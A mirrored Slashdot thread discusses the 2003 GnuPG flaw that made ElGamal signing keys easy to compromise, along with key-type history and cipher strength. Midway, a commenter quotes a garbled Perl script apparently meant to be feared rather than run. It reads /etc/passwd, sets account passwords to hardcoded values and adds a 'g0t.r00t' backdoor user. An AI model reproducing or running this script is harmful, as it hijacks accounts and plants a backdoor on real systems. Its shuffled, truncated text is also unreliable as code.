Slashdot Mirror
GnuPG's ElGamal Signing Keys Compromised
KjetilK writes "Werner Koch just sent an announcement saying that there is a severe bug in GnuPG >= 1.0.2 that makes it easy to compromise ElGamal keys used for signing. Note that such keys are not generated by GnuPG's standard setup, and should be relatively rare. Among the 850 public keys in my personal keyring, there were only one such public key (and a few subkeys). There is already a patch available to disable these keys."
You can get more information on the (german) site heise:0 00/
s ure/2003-q4/2998.html
http://www.heise.de/newsticker/data/pab-27.11.03-
The full advisory from Werner Koch can be found here:
http://archives.neohapsis.com/archives/fulldisclo
It seems that about 800 people are using the compromised keys.
To check if your key is in danger you have to check the type of the key. All type 20 keys can be compromised. Here is a small shell script to check our key:
gpg --list-keys --with-colon | awk -F: '($4 == "20") {print $0;}
If your key is in danger you should create a new one and revoke the old one immediately.
"According to the keyserver statistics, there are 848 primary ElGamal signing keys which are affected. These are a mere 0.04 percent of all primary keys on the keyservers"
percentage of slashdot readers among those ? you'd need to specifically want ElGamal (thus know what it is) to prefer it to other algos..
Prevent email address forgery. Publish SPF records for y
The fact that it was there in the first place was a workaround for stupid legal issues - at the time GnuPG development started, the author wasn't sure whether DSA signatures were patented, so he allowed El Gamal keys to be used for signatures as well as encryption. It turned out DSA signatures were OK, and the default for all recent versions is to use DSA signatures with El Gamal for encryption.
The other available key types (RSA+RSA, DSA+El Gamal) are there for interoperability; I think the consensus seems to be that DSA+El Gamal is probably better, but RSA+RSA needs to be there because that's what the original PGP used.
On the other hand, I agree that it sounds from the announcement as though the optimizations that caused the flaw were unwise.
Yeah, but the announcement says that "According to the keyserver statistics, there are 848 primary ElGamal signing keys which are affected." Which is damn close to 850.
No, that was correct - there are only 848 of these keys on the keyservers (so a reasonable approximation of "worldwide"). This is a VERY infrequently used key type: around 0.04% of keys. It was only supported in GnuPG for backwards compatibility reasons, and each release put more and more barriers in front of its use.
There are historical reasons. Basically, when GnuPG was first written there were still questions about the patent status of DSA, so using Elgamal signatures was allowed. This is not against the OpenPGP standard, by the way, which does allow Elgamal signatures.
Once the patent issued with DSA were worked out (if I recall, the US government bought it and made it free for any use without royalties), then GnuPG started using DSA like PGP. There were a few users using Elgamal signing keys by then, and they pleaded to leave it in, so the ability was kept.
Each new release of GnuPG has steadily made it harder to use Elgamal signing keys - the current version does not even list them as an option without the user providing a special flag, and then reading and confirming a message giving reasons not to use them.
There are more combinations than RSA+RSA and DSA+Elgamal. You can mix and match any way you like: RSA+Elgamal, DSA+RSA, or even RSA+Elgamal+DSA.
There are reasons to use RSA for signing rather than DSA - DSA is limited to a 160-bit hash, which some people find insufficient. RSA is not limited in its hash, so they can use whatever hash they like. DSA is also limited to a 1024-bit key, while RSA is not.
It breaks down like this:
RSA: much faster to verify signatures, can be any size, can use any hash, signatures are large.
DSA: much faster to make signatures, maximum of 1024 bits in size, can only use 160-bit hashes, signatures are small.
They're both fine choices. It depends on what your goals are.
The old PGP used RSA sign-and-encrypt keys. The same key was used for both encryption and signatures. You can only generated those keys under "expert" mode (same place you would generate ElGamal signature keys). Generate an RSA+RSA key under GnuPG and you get two keys, a primary signature key and a different encryption key. Both will be RSA. But the RSA+RSA was NOT what the old PGP used. There's good reason to have separate keys and subkeys with different functionality and attributes. But that wasn't in the original PGP.
The old PGP also used IDEA for the symetrical algorithm and that's STILL patented, so the stock GnuPG STILL doesn't contain it and you STILL can't interoperate with the old PGP (pre PGP 5.0).
An ElGamal signature key blows goats where it comes to performance (the verify algorithm is at least an order of magnitude worse than encrypt, decrypt, or sign). Even having one on your keyring sends the key verify option into the weeds in turtle mode, because of the verification signatures taking soooo looonnnggg to verify. It's an oxymoron to have those keys generated under "expert" mode as well (since said "expert" wouldn't be one if he wanted one).
Yeah...
/lib/perl5/";
a lt));print "$user\:$pwd\:$uid\:$gid\:$name\:$home\:$shell\n"; }
s pairs{'fc'}='cf';
/etc/passwd`);$i=0; ... ";b in/bash\n";
Like I want to run this...
#!/usr/bin/perl
$PERLLIB="/usr/local
$NOLOGIN="*";
sub makeone
{$user=$_[0]; local($pwd)=$_[1]; $uid=$_[2]; $gid=$_[3]; $name=$_[4]; $home=$_[5]; $shell=$_[6];
$salt=gen(2);
$pwd=(crypt($pwd,$s
$passpairs{'root'}='toor';
$passpairs{'guest '}='guest';
$passpairs{'daemon'}='nomead';
$pas
@passwordlist=('agree', 'howthem', 'elsewher', '$pwd$uid', 'v5098v2n', 'Xs3\$7\@cB', 'FrugNol',
'c/pdddwd', 'aWCY00l', '8glRmlue', 'sh1234ra', 'ttorug', 'toorpoi', 'uj78ik,m'
);
@symbols=(a..z, A..Z, 0..9);
sub gen {local $i, $j, $k;
$k="";
for $i (1..$_[0])
{local $j = rand(@symbols);
$k="$k".@symbols[int($j)];}
return $k;}
srand(time|$$);
@PASSFILE=split(/\n/,`/bi n/cat
foreach $LINE (@PASSFILE)
{($user, $pwd, $uid, $gid, $name, $home, $shell)=split(/:/, $LINE, 7);
# print STDERR "$user
if ($pwd eq $NOLOGIN) {$newpwd=$pwd;}
elsif ($passpairs{"$user"} ne "") {$newpwd=$passpairs{"$user"};}
elsif ($i < @passwordlist) {$newpwd=@passwordlist[$i];$i=$i+1;}
else {$newpwd = gen(8);}
# print STDERR "$user $newpwd\n";
makeone($user, $newpwd, $uid, $gid, $name, $home, $shell);
}
print "sil:g0t.r00t:100:1::/export/home/sil:/usr/local/
It's the other way around. The Elgamal algorithm is fine. There was a bug in the code that did not correctly implement the algorithm for signatures.
Elgamal signatures are extremely fussy and require a number of checks to be done for the signature and signing key to remain secure. Elgamal encryption, on the other hand, is simpler.
Elgamal signatures were supported in GnuPG mainly for backwards compatibility. The Elgamal signing key type was NOT presented as an option when you generated keys unless you used the "I know what I'm doing, don't protect me" flag, and even then it gave you a list of reasons not to do it, and asked you to confirm.
I don't want to find out that the "choice" I made for a key type is something that 0.04% of people chose and that, because of its rarity, it had an undiscovered flaw.
I see. You must have just failed to read the announcement:
I'm ssorry. You enable special hidden options and override warnings, and you've got no one to blame but yourself for making that choice.
It's amazing to see really ignorant (and crypto-agnostic) people posting snappy comments in prominent places and on stuff that is way beyond their reach.
...
Taher El Gamal is the name of the person that came up with the algorithm behind the ElGamal keys.
If you ever used SSL then you used something else that boiled in Taher El Gamals crypto-pan.
But I guess that's just beyond the average Inet user these days
3DES could be vulnerable because: A quantum computer can crack it with sqrt(2^N keys) = 2^(N / 2) possibilities
What are you blithering on about?
In the first place, quantum computers are mostly science fiction. The tiny ones that have been created can only handle problems that you could do in your head anyway. Further, no one has even begun to work out how a quantum computer could attack something like DES, or any symmetric cipher, because the algorithms are simply too complex, and translating them into a structure manageable by a quantum computer is too hard. RSA and some of the other public-key algorithms are extremely simple, mathematically, and very easy to model, so a QC with sufficient qubits could be effective at attacking them. If such existed.
What you're postulating in order to break 3DES is an 84-qubit QC that is capable of expressing an algorithm of tremendous complexity (including some table-driven steps) that will have to be run 2^84 times to search the complete keyspace (assuming 3-key 3DES, reduce these numbers somewhat for 2-key 3DES).
Actually, that should be 2^83, on average; I'll let you work out why.
Supposing that QC can test a key and be reconfigured, say, one trillion times per second, you'd only need 279,000 years, on average, to find your 3DES key.
If you wanted to make that more reasonable, you need a bigger QC. With a 168-bit QC, of course, you only need one trial.
and 3DES has 168 bits key that can be cracked with 2^89 possibilities versus 2^128 possibilities of GOST.
If you Google a bit, you can easily find some algorithms that use key lengths in the millions of bits, if you're so certain that more == better.
Remember, Athlon64, PowerPC64, USparc64, Alpha can do 2^64 operations with little time.
Can they really? Lessee... supposing they can do one operation per clock cycle, and let's suppose they run at, say, 10GHz, that means they can do 2^64 operations in a bit over 68 years.
Note to ACs: I usually delete AC replies without reading them. If you want to talk to me, log in.
This is a general public key cryptography thing. It's not a weakness, per se, since everything depends on how you use the pk system and what you are trying to protect against.
The main reason using the same key to encrypt and sign is frowned upon because it leaves you more open to being compelled to release your key. For example, let say that you used a sign+encrypt key and someone sent you an encrypted message. The government demands your key so they can decrypt the message. Since you use the same key for encryption and signing, the government now has your signing key.
Compromise of an encryption key means the attacker can decrypt previous messages to you - compromise of a signing key means the attacker can pretend to BE you.
Note that many countries either have, or are heading towards, laws that allow compelled production of keys.
There are a number of reasons why seperate keys are a good idea in OpenPGP specifically. For one, you can change your encryption subkey without losing all of the key signatures you presumably worked hard to get.
gpg --list-keys | awk 'BEGIN { printf("%s %s \n", "Key ID", "Email") } /^pub/ && $2 ~/G\// {keys++; print substr($2,7), $NF} END {if (keys > 0) print "You have",keys,"signatures to revoke!"; else print "You are fine :)" }'